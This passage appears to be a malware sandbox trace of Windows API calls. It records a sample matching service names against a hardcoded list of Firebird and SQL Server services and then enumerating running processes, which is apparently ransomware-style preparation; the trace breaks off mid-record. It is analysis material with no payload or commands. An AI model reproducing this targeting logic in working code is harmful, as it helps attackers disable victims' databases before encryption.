[0166.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0166.969] lstrlenW (lpString="PlugPlay") returned 8 [0166.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0166.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0166.969] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0166.969] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0166.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0166.969] lstrlenW (lpString="Power") returned 5 [0166.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0166.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0166.969] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0166.969] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0166.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0166.969] lstrlenW (lpString="ProfSvc") returned 7 [0166.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0166.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0166.969] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0166.970] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0166.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0166.970] lstrlenW (lpString="RpcEptMapper") returned 12 [0166.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0166.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0166.970] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0166.970] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0166.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0166.970] lstrlenW (lpString="RpcSs") returned 5 [0166.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0166.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0166.970] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0166.970] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0166.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0166.970] lstrlenW (lpString="SamSs") returned 5 [0166.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0166.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0166.970] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0166.970] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0166.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0166.970] lstrlenW (lpString="Schedule") returned 8 [0166.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0166.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0166.970] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0166.970] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0166.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0166.970] lstrlenW (lpString="SecurityHealthService") returned 21 [0166.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0166.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0166.970] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0166.970] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0166.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0166.970] lstrlenW (lpString="SENS") returned 4 [0166.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0166.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0166.971] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0166.971] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0166.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0166.971] lstrlenW (lpString="ShellHWDetection") returned 16 [0166.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0166.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0166.971] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0166.971] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0166.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0166.971] lstrlenW (lpString="Spooler") returned 7 [0166.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0166.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0166.971] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0166.971] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0166.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0166.971] lstrlenW (lpString="SSDPSRV") returned 7 [0166.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0166.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0166.971] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0166.971] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0166.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0166.971] lstrlenW (lpString="StateRepository") returned 15 [0166.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0166.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0166.971] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0166.971] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0166.971] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43800c8 | out: hHeap=0x790000) returned 1 [0166.971] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x318 [0166.978] Process32FirstW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0166.979] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0166.979] lstrlenW (lpString="System") returned 6 [0166.979] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0166.980] lstrlenW (lpString="smss.exe") returned 8 [0166.980] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0166.980] lstrlenW (lpString="csrss.exe") returned 9 [0166.981] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0166.981] lstrlenW (lpString="wininit.exe") returned 11 [0166.981] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0166.982] lstrlenW (lpString="csrss.exe") returned 9 [0166.982] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0166.982] lstrlenW (lpString="winlogon.exe") returned 12 [0166.982] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0166.983] lstrlenW (lpString="services.exe") returned 12 [0166.983] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0166.984] lstrlenW (lpString="lsass.exe") returned 9 [0166.984] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.985] lstrlenW (lpString="svchost.exe") returned 11 [0166.985] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0166.985] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0166.985] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0166.986] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0166.986] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.987] lstrlenW (lpString="svchost.exe") returned 11 [0166.987] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0166.987] lstrlenW (lpString="dwm.exe") returned 7 [0166.987] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.988] lstrlenW (lpString="svchost.exe") returned 11 [0166.988] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.989] lstrlenW (lpString="svchost.exe") returned 11 [0166.989] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.989] lstrlenW (lpString="svchost.exe") returned 11 [0166.990] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.990] lstrlenW (lpString="svchost.exe") returned 11 [0166.990] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.991] lstrlenW (lpString="svchost.exe") returned 11 [0166.991] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.992] lstrlenW (lpString="svchost.exe") returned 11 [0166.992] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.992] lstrlenW (lpString="svchost.exe") returned 11 [0166.992] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.993] lstrlenW (lpString="svchost.exe") returned 11 [0166.993] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.994] lstrlenW (lpString="svchost.exe") returned 11 [0166.994] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0166.994] lstrlenW (lpString="spoolsv.exe") returned 11 [0166.995] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.995] lstrlenW (lpString="svchost.exe") returned 11 [0166.995] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.996] lstrlenW (lpString="svchost.exe") returned 11 [0166.996] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0166.997] lstrlenW (lpString="audiodg.exe") returned 11 [0166.997] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0166.998] lstrlenW (lpString="sihost.exe") returned 10 [0166.998] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.999] lstrlenW (lpString="svchost.exe") returned 11 [0166.999] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0167.000] lstrlenW (lpString="taskhostw.exe") returned 13 [0167.000] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0167.001] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0167.001] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0167.002] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0167.002] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0167.003] lstrlenW (lpString="explorer.exe") returned 12 [0167.003] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0167.004] lstrlenW (lpString="Memory Compression") returned 18 [0167.004] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0167.005] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0167.005] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0167.005] lstrlenW (lpString="SearchUI.exe") returned 12 [0167.006] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0167.006] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0167.006] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0167.007] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0167.007] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0167.008] lstrlenW (lpString="taskhostw.exe") returned 13 [0167.008] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0167.008] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0167.008] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0167.009] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0167.009] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0167.010] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0167.010] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfe0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0167.010] lstrlenW (lpString="conhost.exe") returned 11 [0167.010] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver.exe")) returned 1 [0167.011] lstrlenW (lpString="screensaver.exe") returned 15 [0167.011] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upperarc.exe")) returned 1 [0167.012] lstrlenW (lpString="upperarc.exe") returned 12 [0167.012] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying.exe")) returned 1 [0167.014] lstrlenW (lpString="buying.exe") returned 10 [0167.014] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="downloadable.exe")) returned 1 [0167.014] lstrlenW (lpString="downloadable.exe") returned 16 [0167.014] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guests_production_meanwhile.exe")) returned 1 [0167.015] lstrlenW (lpString="guests_production_meanwhile.exe") returned 31 [0167.015] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed-shirts.exe")) returned 1 [0167.016] lstrlenW (lpString="deemed-shirts.exe") returned 17 [0167.016] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mugwritesheroes.exe")) returned 1 [0167.016] lstrlenW (lpString="mugwritesheroes.exe") returned 19 [0167.016] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="swapdamelooked.exe")) returned 1 [0167.017] lstrlenW (lpString="swapdamelooked.exe") returned 18 [0167.017] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments.exe")) returned 1 [0167.018] lstrlenW (lpString="moments.exe") returned 11 [0167.018] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-sector-antonio.exe")) returned 1 [0167.018] lstrlenW (lpString="geo-sector-antonio.exe") returned 22 [0167.018] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="stream-test.exe")) returned 1 [0167.019] lstrlenW (lpString="stream-test.exe") returned 15 [0167.019] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, 